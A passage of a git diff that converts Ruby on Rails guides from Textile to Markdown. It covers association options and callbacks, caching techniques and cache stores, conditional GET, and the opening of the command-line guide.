DESC").limit(50) } -end -</ruby> - -h6(#has_and_belongs_to_many-offset). +offset+ - -The +offset+ method lets you specify the starting offset for fetching objects via an association. For example, if you set +offset(11)+, it will skip the first 11 records. - -h6(#has_and_belongs_to_many-order). +order+ - -The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause). - -<ruby> -class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, - -> { order "assembly_name ASC" } -end -</ruby> - -h6(#has_and_belongs_to_many-readonly). +readonly+ - -If you use the +readonly+ method, then the associated objects will be read-only when retrieved via the association. - -h6(#has_and_belongs_to_many-select). +select+ - -The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. - -h6(#has_and_belongs_to_many-uniq). +uniq+ - -Use the +uniq+ method to remove duplicates from the collection. - -h5(#has_and_belongs_to_many-when_are_objects_saved). When are Objects Saved? - -When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved. - -If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled. - -If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. - -If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method. - -h4. Association Callbacks - -Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved. - -Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks: - -* +before_add+ -* +after_add+ -* +before_remove+ -* +after_remove+ - -You define association callbacks by adding options to the association declaration. For example: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, :before_add => :check_credit_limit - - def check_credit_limit(order) - ... - end -end -</ruby> - -Rails passes the object being added or removed to the callback. - -You can stack callbacks on a single event by passing them as an array: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, - :before_add => [:check_credit_limit, :calculate_shipping_charges] - - def check_credit_limit(order) - ... - end - - def calculate_shipping_charges(order) - ... - end -end -</ruby> - -If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection. - -h4. Association Extensions - -You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders do - def find_by_order_prefix(order_number) - find_by_region_id(order_number[0..2]) - end - end -end -</ruby> - -If you have an extension that should be shared by many associations, you can use a named extension module. For example: - -<ruby> -module FindRecentExtension - def find_recent - where("created_at > ?", 5.days.ago) - end -end - -class Customer < ActiveRecord::Base - has_many :orders, -> { extending FindRecentExtension } -end - -class Supplier < ActiveRecord::Base - has_many :deliveries, -> { extending FindRecentExtension } -end -</ruby> - -Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor: - -* +proxy_association.owner+ returns the object that the association is a part of. -* +proxy_association.reflection+ returns the reflection object that describes the association. -* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. diff --git a/guides/source/caching_with_rails.textile b/guides/source/caching_with_rails.md index 712440da32..ce1a01d313 100644 --- a/guides/source/caching_with_rails.textile +++ b/guides/source/caching_with_rails.md @@ -1,4 +1,5 @@ -h2. Caching with Rails: An overview +Caching with Rails: An overview +=============================== This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible. @@ -9,25 +10,26 @@ After reading this guide, you should be able to use and configure: * Alternative cache stores * Conditional GET support -endprologue. +-------------------------------------------------------------------------------- -h3. Basic Caching +Basic Caching +------------- This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins. -To start playing with caching you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+, if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production. +To start playing with caching you'll want to ensure that `config.action_controller.perform_caching` is set to `true`, if you're running in development mode. This flag is normally set in the corresponding `config/environments/*.rb` and caching is disabled by default for development and test, and enabled for production. -<ruby> +```ruby config.action_controller.perform_caching = true -</ruby> +``` -h4. Page Caching +### Page Caching Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. -To enable page caching, you need to use the +caches_page+ method. +To enable page caching, you need to use the `caches_page` method. -<ruby> +```ruby class ProductsController < ActionController caches_page :index @@ -36,17 +38,17 @@ class ProductsController < ActionController @products = Product.all end end -</ruby> +``` -Let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products. The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application. +Let's say you have a controller called `ProductsController` and an `index` action that lists all the products. The first time anyone requests `/products`, Rails will generate a file called `products.html` and the webserver will then look for that file before it passes the next request for `/products` to your Rails application. -By default, the page cache directory is set to +Rails.public_path+ (which is usually set to the +public+ folder) and this can be configured by changing the configuration setting +config.action_controller.page_cache_directory+. Changing the default from +public+ helps avoid naming conflicts, since you may want to put other static html in +public+, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from. +By default, the page cache directory is set to `Rails.public_path` (which is usually set to the `public` folder) and this can be configured by changing the configuration setting `config.action_controller.page_cache_directory`. Changing the default from `public` helps avoid naming conflicts, since you may want to put other static html in `public`, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from. -The Page Caching mechanism will automatically add a +.html+ extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting +config.action_controller.page_cache_extension+. +The Page Caching mechanism will automatically add a `.html` extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting `config.action_controller.page_cache_extension`. In order to expire this page when a new product is added we could extend our example controller like this: -<ruby> +```ruby class ProductsController < ActionController caches_page :index @@ -60,45 +62,45 @@ class ProductsController < ActionController end end -</ruby> +``` If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers. -By default, page caching automatically gzips files (for example, to +products.html.gz+ if user requests +/products+) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum). +By default, page caching automatically gzips files (for example, to `products.html.gz` if user requests `/products`) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum). -Nginx is able to serve compressed content directly from disk by enabling +gzip_static+: +Nginx is able to serve compressed content directly from disk by enabling `gzip_static`: -<plain> +```nginx location / { gzip_static on; # to serve pre-gzipped version } -</plain> +``` -You can disable gzipping by setting +:gzip+ option to false (for example, if action returns image): +You can disable gzipping by setting `:gzip` option to false (for example, if action returns image): -<ruby> +```ruby caches_page :image, :gzip => false -</ruby> +``` -Or, you can set custom gzip compression level (level names are taken from +Zlib+ constants): +Or, you can set custom gzip compression level (level names are taken from `Zlib` constants): -<ruby> +```ruby caches_page :image, :gzip => :best_speed -</ruby> +``` -NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. +/productions/page/1+. +NOTE: Page caching ignores all parameters. For example `/products?page=1` will be written out to the filesystem as `products.html` with no reference to the `page` parameter. Thus, if someone requests `/products?page=2` later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. `/productions/page/1`. INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job. -h4. Action Caching +### Action Caching Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy. -Clearing the cache works in a similar way to Page Caching, except you use +expire_action+ instead of +expire_page+. +Clearing the cache works in a similar way to Page Caching, except you use `expire_action` instead of `expire_page`. -Let's say you only wanted authenticated users to call actions on +ProductsController+. +Let's say you only wanted authenticated users to call actions on `ProductsController`. -<ruby> +```ruby class ProductsController < ActionController before_filter :authenticate @@ -113,17 +115,17 @@ class ProductsController < ActionController end end -</ruby> +``` -You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the action should be cached. Also, you can use +:layout => false+ to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2. +You can also use `:if` (or `:unless`) to pass a Proc that specifies when the action should be cached. Also, you can use `:layout => false` to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2. -You can modify the default action cache path by passing a +:cache_path+ option. This will be passed directly to +ActionCachePath.path_for+. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance. +You can modify the default action cache path by passing a `:cache_path` option. This will be passed directly to `ActionCachePath.path_for`. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance. -Finally, if you are using memcached or Ehcache, you can also pass +:expires_in+. In fact, all parameters not used by +caches_action+ are sent to the underlying cache store. +Finally, if you are using memcached or Ehcache, you can also pass `:expires_in`. In fact, all parameters not used by `caches_action` are sent to the underlying cache store. INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job. -h4. Fragment Caching +### Fragment Caching Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching. @@ -131,7 +133,7 @@ Fragment Caching allows a fragment of view logic to be wrapped in a cache block As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code: -<ruby> +```html+erb <% Order.find_recent.each do |o| %> <%= o.buyer.name %> bought <%= o.product.name %> <% end %> @@ -142,44 +144,44 @@ As an example, if you wanted to show all the orders placed on your website in re <%= link_to p.name, product_url(p) %> <% end %> <% end %> -</ruby> +``` -The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call: +The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call: -<ruby> +```html+erb <% cache(:action => 'recent', :action_suffix => 'all_products') do %> All available products: -</ruby> +``` -and you can expire it using the +expire_fragment+ method, like so: +and you can expire it using the `expire_fragment` method, like so: -<ruby> +```ruby expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products') -</ruby> +``` -If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the +cache+ method with a key: +If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the `cache` method with a key: -<ruby> +```erb <% cache('all_available_products') do %> All available products: <% end %> -</ruby> +``` -This fragment is then available to all actions in the +ProductsController+ using the key and can be expired the same way: +This fragment is then available to all actions in the `ProductsController` using the key and can be expired the same way: -<ruby> +```ruby expire_fragment('all_available_products') -</ruby> +``` -h4. Sweepers +### Sweepers -Cache sweeping is a mechanism which allows you to get around having a ton of +expire_{page,action,fragment}+ calls in your code. It does this by moving all the work required to expire cached content into an +ActionController::Caching::Sweeper+ subclass. This class is an observer and looks for changes to an Active Record object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter. +Cache sweeping is a mechanism which allows you to get around having a ton of `expire_{page,action,fragment}` calls in your code. It does this by moving all the work required to expire cached content into an `ActionController::Caching::Sweeper` subclass. This class is an observer and looks for changes to an Active Record object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter. TIP: Sweepers rely on the use of Active Record and Active Record Observers. The object you are observing must be an Active Record model. Continuing with our Product controller example, we could rewrite it with a sweeper like this: -<ruby> +```ruby class ProductSweeper < ActionController::Caching::Sweeper observe Product # This sweeper is going to keep an eye on the Product model @@ -207,17 +209,17 @@ class ProductSweeper < ActionController::Caching::Sweeper expire_fragment('all_available_products') end end -</ruby> +``` You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire: -<ruby> +```ruby expire_action(:controller => 'products', :action => 'edit', :id => product.id) -</ruby> +``` Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following: -<ruby> +```ruby class ProductsController < ActionController before_filter :authenticate @@ -229,11 +231,11 @@ class ProductsController < ActionController end end -</ruby> +``` -Sometimes it is necessary to disambiguate the controller when you call +expire_action+, such as when there are two identically named controllers in separate namespaces: +Sometimes it is necessary to disambiguate the controller when you call `expire_action`, such as when there are two identically named controllers in separate namespaces: -<ruby> +```ruby class ProductsController < ActionController caches_action :index @@ -263,17 +265,17 @@ class ProductSweeper < ActionController::Caching::Sweeper expire_action(:controller => '/products', :action => 'index') end end -</ruby> +``` -Note the use of '/products' here rather than 'products'. If you wanted to expire an action cache for the +Admin::ProductsController+, you would use 'admin/products' instead. +Note the use of '/products' here rather than 'products'. If you wanted to expire an action cache for the `Admin::ProductsController`, you would use 'admin/products' instead. -h4. SQL Caching +### SQL Caching Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again. For example: -<ruby> +```ruby class ProductsController < ActionController def index @@ -287,153 +289,156 @@ class ProductsController < ActionController end end -</ruby> +``` The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory. However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching. -h3. Cache Stores +Cache Stores +------------ Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches. TIP: Page caches are always stored on disk. -h4. Configuration +### Configuration -You can set up your application's default cache store by calling +config.cache_store=+ in the Application definition inside your +config/application.rb+ file or in an Application.configure block in an environment specific configuration file (i.e. +config/environments/*.rb+). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor. +You can set up your application's default cache store by calling `config.cache_store=` in the Application definition inside your `config/application.rb` file or in an Application.configure block in an environment specific configuration file (i.e. `config/environments/*.rb`). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor. -<ruby> +```ruby config.cache_store = :memory_store -</ruby> +``` -NOTE: Alternatively, you can call +ActionController::Base.cache_store+ outside of a configuration block. +NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block. -You can access the cache by calling +Rails.cache+. +You can access the cache by calling `Rails.cache`. -h4. ActiveSupport::Cache::Store +### ActiveSupport::Cache::Store This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below. -The main methods to call are +read+, +write+, +delete+, +exist?+, and +fetch+. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists. +The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists. There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries. -* +:namespace+ - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment. +* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment. -* +:compress+ - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network. +* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network. -* +:compress_threshold+ - This options is used in conjunction with the +:compress+ option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes. +* `:compress_threshold` - This options is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes. -* +:expires_in+ - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache. +* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache. -* +:race_condition_ttl+ - This option is used in conjunction with the +:expires_in+ option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the +:expires_in+ option. +* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option. -h4. ActiveSupport::Cache::MemoryStore +### ActiveSupport::Cache::MemoryStore -This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the +:size+ options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed. +This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the `:size` options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed. -<ruby> +```ruby config.cache_store = :memory_store, { :size => 64.megabytes } -</ruby> +``` If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments. This is the default cache store implementation. -h4. ActiveSupport::Cache::FileStore +### ActiveSupport::Cache::FileStore This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache. -<ruby> +```ruby config.cache_store = :file_store, "/path/to/cache/directory" -</ruby> +``` With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts. Note that the cache will grow until the disk is full unless you periodically clear out old entries. -h4. ActiveSupport::Cache::MemCacheStore +### ActiveSupport::Cache::MemCacheStore -This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +dalli+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. +This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites. -The +write+ and +fetch+ methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify +:raw+ to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like +increment+ and +decrement+ only on raw values. You can also specify +:unless_exist+ if you don't want memcached to overwrite an existing entry. +The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry. -<ruby> +```ruby config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com" -</ruby> +``` -h4. ActiveSupport::Cache::EhcacheStore +### ActiveSupport::Cache::EhcacheStore If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store. -<ruby> +```ruby config.cache_store = :ehcache_store -</ruby> +``` -When initializing the cache, you may use the +:ehcache_config+ option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache). +When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache). -In addition to the standard +:expires_in+ option, the +write+ method on this cache can also accept the additional +:unless_exist+ option, which will cause the cache store to use Ehcache's +putIfAbsent+ method instead of +put+, and therefore will not overwrite an existing entry. Additionally, the +write+ method supports all of the properties exposed by the "Ehcache Element class":http://ehcache.org/apidocs/net/sf/ehcache/Element.html , including: +In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including: -|_. Property |_. Argument Type |_. Description | -| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. | -| eternal | boolean | Sets whether the element is eternal. | -| timeToIdle, tti | int | Sets time to idle | -| timeToLive, ttl, expires_in | int | Sets time to Live | -| version | long | Sets the version attribute of the ElementAttributes object. | +| Property | Argument Type | Description | +| --------------------------- | ------------------- | ----------------------------------------------------------- | +| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. | +| eternal | boolean | Sets whether the element is eternal. | +| timeToIdle, tti | int | Sets time to idle | +| timeToLive, ttl, expires_in | int | Sets time to Live | +| version | long | Sets the version attribute of the ElementAttributes object. | -These options are passed to the +write+ method as Hash options using either camelCase or underscore notation, as in the following examples: +These options are passed to the `write` method as Hash options using either camelCase or underscore notation, as in the following examples: -<ruby> +```ruby Rails.cache.write('key', 'value', :time_to_idle => 60.seconds, :timeToLive => 600.seconds) caches_action :index, :expires_in => 60.seconds, :unless_exist => true -</ruby> +``` -For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ . -For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html +For more information about Ehcache, see [http://ehcache.org/](http://ehcache.org/) . +For more information about Ehcache for JRuby and Rails, see [http://ehcache.org/documentation/jruby.html](http://ehcache.org/documentation/jruby.html) -h4. ActiveSupport::Cache::NullStore +### ActiveSupport::Cache::NullStore -This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with +Rails.cache+, but caching may interfere with being able to see the results of code changes. With this cache store, all +fetch+ and +read+ operations will result in a miss. +This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache`, but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss. -<ruby> +```ruby config.cache_store = :null_store -</ruby> +``` -h4. Custom Cache Stores +### Custom Cache Stores -You can create your own custom cache store by simply extending +ActiveSupport::Cache::Store+ and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application. +You can create your own custom cache store by simply extending `ActiveSupport::Cache::Store` and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application. To use a custom cache store, simple set the cache store to a new instance of the class. -<ruby> +```ruby config.cache_store = MyCacheStore.new -</ruby> +``` -h4. Cache Keys +### Cache Keys -The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id. +The keys used in a cache can be any object that responds to either `:cache_key` or to `:to_param`. You can implement the `:cache_key` method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id. You can use Hashes and Arrays of values as cache keys. -<ruby> +```ruby # This is a legal cache key Rails.cache.read(:site => "mysite", :owners => [owner_1, owner_2]) -</ruby> +``` -The keys you use on +Rails.cache+ will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with +Rails.cache+ and then try to pull them out with the +memcache-client+ gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules. +The keys you use on `Rails.cache` will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the `memcache-client` gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules. -h3. Conditional GET support +Conditional GET support +----------------------- Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache. -They work by using the +HTTP_IF_NONE_MATCH+ and +HTTP_IF_MODIFIED_SINCE+ headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status. +They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status. It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task: -<ruby> +```ruby class ProductsController < ApplicationController def show @@ -453,9 +458,9 @@ class ProductsController < ApplicationController # :not_modified. So that's it, you're done. end end -</ruby> +``` -Instead of a options hash, you can also simply pass in a model, Rails will use the +updated_at+ and +cache_key+ methods for setting +last_modified+ and +etag+: +Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: <ruby> class ProductsController < ApplicationController @@ -468,7 +473,7 @@ end If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when: -<ruby> +```ruby class ProductsController < ApplicationController # This will automatically send back a :not_modified if the request is fresh, @@ -479,8 +484,9 @@ class ProductsController < ApplicationController fresh_when :last_modified => @product.published_at.utc, :etag => @product end end -</ruby> +``` -h3. Further reading +Further reading +--------------- -* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails +* [Scaling Rails Screencasts](http://railslab.newrelic.com/scaling-rails) diff --git a/guides/source/command_line.textile b/guides/source/command_line.md index 39b75c2781..fd7d1cdfea 100644 --- a/guides/source/command_line.textile +++ b/guides/source/command_line.md @@ -1,4 +1,5 @@ -h2. A Guide to The Rails Command Line +A Guide to The Rails Command Line +================================= Rails comes with every command line tool you'll need to @@ -8,32 +9,33 @@ Rails comes with every command line tool you'll need to * Experiment with objects through an interactive shell * Profile and benchmark your new creation -endprologue. +-------------------------------------------------------------------------------- -NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html. +NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html). WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails. -h3. Command Line Basics +Command Line Basics +------------------- There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are: -* <tt>rails console</tt> -* <tt>rails server</tt> -* <tt>rake</tt> -* <tt>rails generate</tt> -* <tt>rails dbconsole</tt> -* <tt>rails new app_name</tt> +* `rails console` +* `rails server` +* `rake` +* `rails generate` +* `rails dbconsole` +* `rails new app_name` Let's create a simple Rails application to step through each of these commands in context. -h4. +rails new+ +### `rails new` -The first thing we'll want to do is create a new Rails application by running the +rails new+ command after installing Rails. +The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails. -INFO: You can install the rails gem by typing +gem install rails+, if you don't have it already. +INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already. -<shell> +```bash $ rails new commandsapp create create README.rdoc @@ -46,19 +48,19 @@ $ rails new commandsapp create tmp/cache ... run bundle install -</shell> +``` Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. -h4. +rails server+ +### `rails server` -The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. +The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. -INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later":#different-servers. +INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends). -With no further work, +rails server+ will run our new shiny Rails app: +With no further work, `rails server` will run our new shiny Rails app: -<shell> +```bash $ cd commandsapp $ rails server => Booting WEBrick @@ -68,27 +70,27 @@ $ rails server [2012-05-28 00:39:41] INFO WEBrick 1.3.1 [2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0] [2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 -</shell> +``` -With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running. +With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running. -INFO: You can also use the alias "s" to start the server: <tt>rails s</tt>. +INFO: You can also use the alias "s" to start the server: `rails s`. -The server can be run on a different port using the +-p+ option. The default development environment can be changed using +-e+. +The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`. -<shell> +```bash $ rails server -e production -p 4000 -</shell> +``` -The +-b+ option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a +-d+ option. +The `-b` option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option. -h4. +rails generate+ +### `rails generate` -The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators: +The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself 